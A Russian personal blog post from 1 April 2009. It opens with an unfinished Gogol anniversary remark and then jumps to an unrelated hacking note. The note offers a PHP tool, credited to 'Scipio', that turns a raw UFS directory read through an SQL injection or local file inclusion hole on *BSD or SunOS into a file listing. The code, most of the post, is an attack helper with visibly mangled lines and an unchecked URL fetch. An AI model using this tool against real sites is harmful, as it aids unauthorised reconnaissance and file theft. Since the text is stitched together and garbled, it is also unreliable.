Какбэ Я

Моя фотография
○○●○○
○○○●○
○●●●○

среда, 1 апреля 2009 г.

1 АПРЕЛЯ!!!

Н. В. Гоголю исполнилось бы 200 лет. Но что такое 200 лет по сравнению с вечностью, ибо Гоголь вечен.
Гугл как всегда не остался в стороне от такого события, такой даты:

Парсинг файла каталога UFS и иже с ними

Как выяснилось при чтении каталога в Файловой Системе UFS/UFS2 (c которыми работают ОС *BSD и SunOS) не возникает ошибки и мы можем увидеть не содержимое каталога в традиционном понимании, а содержимое файла, коим по сути и является каталог.  Другими словами при проведении SQL инъекции с возможностью чтения файлов или Lfi (Local file including) можно читать не только содержимое файлов, но и содержимое каталогов. Собственно скрипт представленный ниже для этого и нужен. Функционал прост, в поле вводим URL с уязвимостью позволяющей прочитать каталог и видим результат. Еще раз повторюсь что работает только с ОС работающими c UFS (*BSD и SunOS)


<html>
<
head>
<
title>Парсинг каталогов FreeBSD от Scipio</title>
</
head>
<
body>
<?
php
error_reporting
(0);
set_time_limit(0);
if (isset(
$_POST['pole'])){$pole=$_POST['pole']; $fl=file_get_contents($pole);} else $pole='';
?>
<form method="post" action="<?=$_SERVER['SCRIPT_NAME']?>">
<input type="text" size="150" name="pole" value="<?=$pole?>"/>
</form>
<?php
if (!empty($fl))
{
$s=bin2hex ($fl);
$ln=strlen($s)-5;
$nam=FALSE;
for (
$i=0;$i<$ln;$i+=2)
   {       
$curhex=substr($s,$i,3);
       
$nexthex=substr($s,$i+4,1);
       if ((
$curhex=='040') and ($nexthex>'1') and ($nexthex<'8'))
           {
            
$pob="<br>".'<b>[DIR]</b> ';
            
$nam=TRUE;
            
$i+=4;
           }

       if ((
$curhex=='080') and ($nexthex>'1') and ($nexthex<'8'))
           {
            
$pob="<br>".'[FILE] ';
            
$nam=TRUE;
            
$i+=4;
           }
        if ((
$curhex=='0a0') and ($nexthex>'1') and ($nexthex<'8'))
           {
            
$pob="<br>".'<i>[LINK]</i> ';
            
$nam=TRUE;
            
$i+=4;
           }
       if (
$nam===TRUE)
           {
            if ((
$s[$i]>'1') and ($s[$i]<'8'))
                {
                 
$hx=substr($s,$i,2);
              
$hx=chr(hexdec($hx));
              
$pob=$pob.$hx;
             }
         else {echo 
$pob$nam=FALSE;}
        }
   }
}
?>
</body>
</html>